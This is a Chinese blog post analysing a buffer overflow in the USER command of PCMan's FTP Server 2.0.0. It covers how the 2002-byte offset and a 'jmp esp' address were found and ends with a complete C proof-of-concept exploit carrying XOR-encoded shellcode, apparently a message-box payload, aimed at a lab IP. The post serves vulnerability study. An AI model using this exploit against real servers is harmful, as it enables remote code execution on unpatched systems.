PCManFTPv2.0漏洞分析及利用

来源:互联网 发布:意大利尚尼 知乎 编辑:程序博客网 时间:2024/05/22 09:45

1.软件简介

PCMan’sFTPServer2.0.0是一套FTP服务器软件。该软件具有体积小、功能简单等特点。

2.漏洞成因

PCMan’sFTPServer2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
通过在recv函数上下断点持续跟踪,发现服务端在接收到登录请求之后,会将收到的信息进行字符串拼接,而在字符串拼接的地方,并未进行长度控制.因此导致缓冲区溢出.
这里写图片描述
内存窗口:
这里写图片描述
之前的返回地址为:0x0012ED68 . 字符串的首地址为:0x0012E568.
前面拼接的字符串(时间)和命令,(选中的部分)大小为16*2+14 = 46;
那么0x0012ED68 - 0x0012E568 - 46 = 2002.
2002就是用户名字符串溢出点的偏移.

3.利用过程

1.首先我们需要先自己先构造一个FTP客户端与服务端进行通信.这个客户端非常简单,我们只需要符合RTFC959文档的规范就可以与服务端正常通信.
使用Mona2生成一段5000字节长度的字符串,将其发送至服务端,发现服务端程序崩溃,程序发生了缓冲区溢出.

int_tmain(intargc,_TCHAR*argv[]){    WSADATAwsaData;    WSAStartup(0x0202,&wsaData);    //创建套接字    SOCKETsockSer=WSASocketA(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);    //连接客户端    sockaddr_insockAddr;    sockAddr.sin_family=AF_INET;    sockAddr.sin_addr.S_un.S_addr=inet_addr("192.168.120.134");//服务端IP    sockAddr.sin_port=htons(21);//端口    connect(sockSer,(sockaddr*)&sockAddr,sizeof(sockAddr));    //接受欢迎语    chartmpBuff[1024]={0};    recv(sockSer,tmpBuff,1024,0);    //发送登录请求    send(sockSer,pCode,strlen(pCode),0);//pCode是要发送的字符串格式:userXXXX    //接受反馈信息    recv(sockSer,tmpBuff,1024,0);    //关闭套接字句柄释放资源    closesocket(sockSer);    WSACleanup();    return0;}

这里写图片描述

2.使用Mona2确定溢出点在字符串中的偏移安置,精确确定溢出点.
这里写图片描述
3.使用Mona2在服务端程序空间找到一个跳板指令”jmp esp”,””在FTP客户端中构造自己的Exploit字符串.
这里写图片描述
代码片段:

charszCommand[]="user";//userxxxxcharszFill[2002]={0};//填充字符charszJmp[4]={0xe7,0x50,0x57,0x77};//跳板指令地址charszShellCode[]={....};   //自己的ShellCodecharpCode[3000]={0};memset(szFill,0x30,2002);sprintf_s(pCode,"%s%s%s%s",szCommand,szFill,szJmp,szShellCode);//构造Exploit代码

4.重新测试一下.在windbg中发现程序没有按照预想的运行起来.
这里写图片描述
因此我们要调整一下我们的exploit代码.

sprintf_s(pCode,"%s%s%s%s%s",szCommand,szFill,szJmp,"0000",szShellCode);//构造Exploit代码

5.再次运行起来,发现程序执行了我们的代码.
这里写图片描述

4.PoC

#include "stdafx.h"#include <WinSock2.h>#pragma  comment(lib,"Ws2_32.lib")char szCommand[] = "user ";   //user xxxxchar szFill[2002] = { 0 };  //填充字符char szJmp[4] = { 0xe7, 0x50, 0x57, 0x77 };   //跳板指令地址char szShellCode[] = \"\x33\xC0"               //xor eax,eax"\xE8\xFF\xFF\xFF\xFF"   //call 地址 -1         ;为了避免使用0x00"\xC3"                  //ret"\x58"                  //pop eax"\x8D\x70\x1B"          //lea esi,dword ptr ds:[eax+1B]  "\x33\xC9"              //xor ecx,ecx"\x66\xB9\x3A\x01"      //mov cx,13A                    ;cx  = 0x13A 需要解密的ShellCode代码的大小   "\x8A\x04\x0E"          //mov al,byte ptr ds:[esi+ecx]      ;al = 解密前字符"\x34\x07"              //xor al,7                                  "\x88\x04\x0E"          //mov byte ptr ds:[esi+ecx],al"\xE2\xF6"              //loop 解密shellcode[汇编].12F1019"\x80\x34\x0E\x07"      //xor byte ptr ds:[esi+ecx],7       ;将最后一个字节解密"\xFF\xE6"              //jmp esi       ;跳转到代码执行"\x67\x84\xC3\x27\xEC\x52\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63""\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E""\x42\x7F\x46\x07\x72\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A""\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73""\x57\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\xD6\xE9""\xB4\xA3\xC1\xBA\x07\xBE\xA0\xC8\xB5\x26\x07\xEF\x07\x07\x07\x07""\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C\x31""\x8C\x51\x0F\x54\x55\xEF\x13\x07\x07\x07\x8C\xF7\x8A\x4C\xB2\x55""\x56\x55\xF8\xD7\x5D\x54\x57\x51\x55\xEF\x6C\x07\x07\x07\x52\x8C""\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x8A\x33\x35\x8C\x71""\x7F\x8A\x33\x11\x8C\x79\x1B\x8A\x3B\x10\x8E\x7A\xFB\x8C\x79\x27""\x8A\x3B\x10\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B\x10\x8E\x7A\xF3\x34""\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8A\x33\x11\x8C\x7A\x0B""\x8A\x78\xA1\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE1\x8C\x72\xF3""\x34\xD5\x61\x8C\x13\x41\x8C\x72\xFB\x8C\x3B\x91\x8C\x52\x0F\x8A""\x03\x3D\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x67""\x34\xD5\x8C\x42\x17\x55\x55\x8C\x5A\x13\x8A\x74\xC3\x51\xF8\xD7""\x8A\x4C\xD7\x56\x57\xF8\x52\x0B\x34\xD5\x55\x8A\x74\xF2\x51\x8A""\x74\xEF\x51\x55\xF8\xD7\x8A\x74\xDB\x51\xF8\x72\x0F\xF8\x52\x0B""\xF8\xD7\x66\x8C\xE2\x5A\xC5\x17\x07\x07";int _tmain(int argc, _TCHAR* argv[]){    char pCode[3000] = { 0 };    memset(szFill, 0x30, 2002);    sprintf_s(pCode, "%s%s%s%s%s", szCommand, szFill, szJmp,"0000", szShellCode);  //构造Exploit代码    WSADATA wsaData;    WSAStartup(0x0202, &wsaData);    //创建套接字    SOCKET sockSer = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);    //连接客户端    sockaddr_in sockAddr;    sockAddr.sin_family = AF_INET;    sockAddr.sin_addr.S_un.S_addr = inet_addr("192.168.120.134");   //服务端IP    sockAddr.sin_port = htons(21);  //端口    connect(sockSer, (sockaddr*)&sockAddr, sizeof(sockAddr));    //接受欢迎语    char tmpBuff[1024] = { 0 };    recv(sockSer, tmpBuff, 1024, 0);    //发送登录请求    send(sockSer, pCode, strlen(pCode), 0);    //接受反馈信息    recv(sockSer, tmpBuff, 1024, 0);    //关闭套接字句柄 释放资源    closesocket(sockSer);    WSACleanup();    return 0;}

5.结语

  • 造成缓冲区溢出的主要原因是在对字符数组进行操作时候,并未检测它的长度,从而导致错误的发生.
  • 在进行漏洞挖掘的时候,要注意发生溢出的函数是否有参数.编写exploit代码的时候,要将这些参数考虑在内.
原创粉丝点击